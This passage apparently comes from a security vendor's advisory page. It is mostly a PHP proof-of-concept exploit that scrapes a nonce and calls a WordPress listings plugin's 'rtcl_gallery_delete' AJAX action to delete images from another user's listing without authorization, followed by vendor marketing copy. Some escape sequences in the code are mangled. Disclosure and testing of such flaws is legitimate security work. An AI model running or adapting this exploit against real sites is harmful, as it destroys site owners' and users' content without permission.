// In a real PoC, you would parse the actual nonce from the page source
$nonce = '';
preg_match('/ajax_nonce":"([a-f0-9]+)"/', $page_response, $matches);
if (isset($matches[1])) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    // Fallback: try to get nonce from the gallery JavaScript
    preg_match('/rtcl_gallery_nonces*=s*["']([a-f0-9]+)["']/', $page_response, $matches);
    if (isset($matches[1])) {
        $nonce = $matches[1];
    }
}

if (empty($nonce)) {
    echo "Warning: Could not extract nonce. Attempting exploit with empty/nonce detection.n";
    echo "The vulnerability may still work if the nonce check is bypassed or if a different nonce is used.n";
}

// Step 3: Exploit the gallery_delete action
$exploit_data = [
    'action' => 'rtcl_gallery_delete',
    '_ajax_nonce' => $nonce,
    'post_id' => $target_listing_id,
    'attach_id' => $target_attachment_id
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Output the result
if (curl_error($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Exploit request sent. Response:n";
    echo $response . "nn";
    
    // Check for success
    $decoded = json_decode($response, true);
    if (isset($decoded['result']) && $decoded['result'] == 1) {
        echo "SUCCESS: Image deletion was performed without proper authorization!n";
        echo "The attacker deleted attachment ID $target_attachment_id from listing $target_listing_id.n";
    } else {
        echo "Exploit may have failed. Check the error message above.n";
        echo "Note: If the nonce is invalid, the attack will be blocked. The vulnerability is in authorization, not nonce.n";
    }
}

curl_close($ch);

// Clean up cookie file
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School